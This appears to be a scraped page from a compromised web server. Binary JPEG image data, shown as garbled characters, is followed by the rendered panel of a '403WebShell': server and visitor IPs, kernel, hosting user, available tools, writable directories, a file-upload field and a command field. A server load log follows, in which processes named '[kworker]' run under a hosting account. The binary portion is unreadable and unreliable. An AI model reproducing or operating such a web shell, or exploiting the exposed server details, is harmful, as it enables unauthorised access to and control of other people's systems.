JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/loadwatch/2025-11-17.03.00.txt
 ## swap threshold exceeded
## server overview
2025-11-17.03.00 load[0] mem[62/63] mysql[3/8] httpd[20]
              total        used        free      shared  buff/cache   available
Mem:           2363        1375         178          72         810         730
Swap:          1999        1374         625
 03:00:01 up  3:41,  0 users,  load average: 0.53, 0.45, 0.36
## system overview
top - 03:00:02 up  3:41,  0 users,  load average: 0.53, 0.45, 0.36
Tasks: 239 total,   6 running, 230 sleeping,   0 stopped,   3 zombie
%Cpu(s): 76.3 us, 23.7 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,   165836 free,  1418748 used,   835716 buff/cache
KiB Swap:  2047996 total,   640984 free,  1407012 used.   737832 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  2639 mysql     20   0 1461652 271996   4492 S  94.7 11.2   2:50.66 /usr/sbin+
 82715 nobody    20   0  277616  19540   4456 S   5.3  0.8   0:00.63 /usr/sbin+
 90147 nigeria   20   0  404052  16136  10384 S   5.3  0.7   0:00.06 /opt/cpan+
 90202 locatio+  20   0  406668  19776  11204 S   5.3  0.8   0:00.03 /opt/cpan+
 90216 root      20   0  210044   9856   4540 R   5.3  0.4   0:00.03 /usr/bin/+
 90276 cloudsms  20   0  404052  15608  10164 S   5.3  0.6   0:00.01 /opt/cpan+
 90280 cloudw    20   0  353712  15976  10492 S   5.3  0.7   0:00.01 /opt/cpan+
     1 root      20   0   44400   3480   1612 S   0.0  0.1   0:18.21 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:00.84 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.74 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   0:14.24 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.03 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.03 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.72 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:02.48 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:13.66 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.02 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   100 root      20   0       0      0      0 S   0.0  0.0   0:00.28 [kauditd]
   229 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   240 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   243 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   244 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   246 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   258 root       0 -20       0      0      0 S   0.0  0.0   0:01.79 [kworker/+
   263 root       0 -20       0      0      0 S   0.0  0.0   0:01.46 [kworker/+
   274 root      20   0       0      0      0 S   0.0  0.0   0:00.80 [jbd2/vda+
   275 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   355 root      20   0   39500   3340   3040 S   0.0  0.1   0:07.41 /usr/lib/+
   376 root      20   0   45376    584    436 S   0.0  0.0   0:00.33 /usr/lib/+
   407 root      16  -4   55532    584    456 S   0.0  0.0   0:01.15 /sbin/aud+
   412 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   413 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   470 root      20   0  152780    308    264 S   0.0  0.0   0:00.01 /usr/sbin+
   475 polkitd   20   0  612240   1284    860 S   0.0  0.1   0:01.89 /usr/lib/+
   476 root      20   0   24716   1316    940 S   0.0  0.1   0:03.16 /usr/lib/+
   483 root      20   0   21540    536    424 S   0.0  0.0   0:00.29 /usr/sbin+
   484 rpc       20   0   69256    172     68 S   0.0  0.0   0:00.01 /sbin/rpc+
   485 root      20   0   52852    400    304 S   0.0  0.0   0:00.01 /usr/sbin+
   492 dbus      20   0   58700   1520    768 S   0.0  0.1   0:07.19 /usr/bin/+
   494 root      20   0  195208    116    116 S   0.0  0.0   0:00.00 /usr/sbin+
   502 nscd      20   0  926904   1528    900 S   0.0  0.1   0:12.48 /usr/sbin+
   515 root      20   0    4388    112    108 S   0.0  0.0   0:00.00 /usr/sbin+
   519 root      20   0  224148   5996   1284 S   0.0  0.2   0:00.22 queueproc+
   545 root      20   0  124480    692    536 S   0.0  0.0   0:00.39 /usr/sbin+
   546 root      20   0   24208    244    224 S   0.0  0.0   0:00.00 /usr/sbin+
   555 root      20   0  114704    212    212 S   0.0  0.0   0:00.02 /bin/bash
   556 root      20   0  108296    212    208 S   0.0  0.0   0:00.00 /sbin/age+
   625 mailnull  20   0   89120   4140   1116 S   0.0  0.2   0:00.24 /usr/sbin+
   646 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   672 root       0 -20       0      0      0 S   0.0  0.0   0:02.90 [loop0]
   726 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [jbd2/loo+
   727 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   911 root      20   0  111304    584    484 S   0.0  0.0   0:01.64 /usr/sbin+
   912 systuser  20   0  113016     80      0 S   0.0  0.0   0:00.01 /usr/loca+
   917 root      20   0  257360   3596   2692 S   0.0  0.1   0:03.71 /usr/sbin+
   918 named     20   0 1185864  38872   2320 S   0.0  1.6   0:08.14 /usr/sbin+
   919 root      20   0 1763124 243960   1104 S   0.0 10.1   0:14.28 /usr/loca+
   924 systuser  20   0   10388     36      0 S   0.0  0.0   0:00.00 /usr/loca+
   925 root      20   0   51508    672    508 S   0.0  0.0   0:00.18 /usr/sbin+
   926 root      20   0  572372   1176    596 S   0.0  0.0   0:01.19 /usr/bin/+
   928 root      20   0  445028   3388   3280 S   0.0  0.1   0:00.50 sw-engine+
   937 root      20   0  439788  11484  11276 S   0.0  0.5   0:00.49 php-fpm: +
   938 systuser  20   0  114016  14284   2792 S   0.0  0.6   0:03.26 /usr/loca+
   939 root      20   0  261296   7580   1992 S   0.0  0.3   0:02.86 cpsrvd (S+
   943 root      20   0 1277312  10584    228 S   0.0  0.4   0:20.27 /usr/bin/+
   944 root      20   0 1276356   8028    228 S   0.0  0.3   0:24.84 /usr/bin/+
   947 cpanelc+  20   0   10416   3588   2436 R   0.0  0.1   0:11.12 /usr/loca+
   952 root      20   0  396248    756    572 S   0.0  0.0   0:00.43 php-fpm: +
   957 root      20   0  388892    700    600 S   0.0  0.0   0:00.45 php-fpm: +
   962 systuser  20   0   14068     48      0 S   0.0  0.0   0:00.00 /usr/loca+
   963 telegraf  20   0 5654048  35992   5732 S   0.0  1.5   0:07.51 /usr/loca+
   964 root      20   0  153404    468    384 S   0.0  0.0   0:00.27 pure-ftpd+
   967 root      20   0  400740   1012    840 S   0.0  0.0   0:02.22 php-fpm: +
   968 systuser  20   0  112524     72      0 S   0.0  0.0   0:00.01 /usr/loca+
   969 memcach+  20   0  342400    192    192 S   0.0  0.0   0:00.29 /usr/bin/+
   974 root      20   0  389508    768    564 S   0.0  0.0   0:00.40 php-fpm: +
  1080 dovenull  20   0   46912   2568   1856 S   0.0  0.1   0:00.21 dovecot/p+
  1081 dovenull  20   0   47608   3484   2284 S   0.0  0.1   0:00.10 dovecot/i+
  1082 dovecot   20   0   10320    388    272 S   0.0  0.0   0:00.03 dovecot/a+
  1083 root      20   0   10452    568    388 S   0.0  0.0   0:00.15 dovecot/l+
  1084 dovenull  20   0   46984   2488   1756 S   0.0  0.1   0:00.25 dovecot/p+
  1085 dovenull  20   0   47308   3180   2144 S   0.0  0.1   0:00.09 dovecot/i+
  1091 root      20   0   24528   2604    632 S   0.0  0.1   0:00.09 dovecot/c+
  1095 dovecot   20   0   13568    660    432 S   0.0  0.0   0:00.03 dovecot/s+
  1123 root      20   0  248032 119020   2528 S   0.0  4.9   0:04.41 /usr/loca+
  1160 dovecot   20   0   41160   1572   1112 S   0.0  0.1   0:00.27 dovecot/a+
  1168 systuser  20   0  157704   3064   1088 S   0.0  0.1   0:00.07 SonarPush+
  1176 wp-tool+  20   0  387556   5096   1724 S   0.0  0.2   0:00.19 /usr/bin/+
  1177 wp-tool+  20   0  412368  32500   1724 S   0.0  1.3   0:04.35 /usr/bin/+
  1211 root      20   0  209308  11980   2336 S   0.0  0.5   0:01.57 tailwatchd
  1213 root      20   0  183900   6044   2812 S   0.0  0.2   0:00.68 cpdavd - +
  1216 root      20   0  167452   4112   2740 S   0.0  0.2   0:00.32 dnsadmin +
  1627 root      20   0  299272    836    496 S   0.0  0.0   0:00.36 php-fpm: +
  1673 root      38  18  130416   1592    820 S   0.0  0.1   0:00.03 cpanellog+
  1928 root      20   0  266984   8180    860 S   0.0  0.3   0:01.59 /usr/sbin+
  1932 root      20   0   12788    520    376 S   0.0  0.0   0:01.68 /usr/loca+
  1933 root      20   0   12732    480    368 S   0.0  0.0   0:01.47 /usr/loca+
  1934 root      20   0   12800    500    348 S   0.0  0.0   0:01.59 /usr/loca+
  1939 root      20   0   53256    256    256 S   0.0  0.0   0:00.04 /usr/loca+
  8393 root      20   0  266004 130964   3548 S   0.0  5.4   0:03.20 spamd chi+
  8394 root      20   0  248032 117032    584 S   0.0  4.8   0:00.00 spamd chi+
 40045 oysipao+  20   0    3148    416      0 S   0.0  0.0   0:00.00 [kworker]
 40049 oysipao+  20   0    3152    424      0 S   0.0  0.0   0:00.20 [kworker]
 40218 root      20   0  182116  29452   1644 S   0.0  1.2   0:10.83 lfd - sle+
 48576 root      20   0       0      0      0 S   0.0  0.0   0:00.13 [kworker/+
 50830 root      20   0       0      0      0 S   0.0  0.0   0:00.16 [kworker/+
 63584 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 64181 nobody    20   0  277744  20624   4868 S   0.0  0.9   0:02.43 /usr/sbin+
 64182 nobody    20   0  277680  20236   4752 S   0.0  0.8   0:02.71 /usr/sbin+
 64314 root      20   0       0      0      0 S   0.0  0.0   0:00.15 [kworker/+
 72381 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
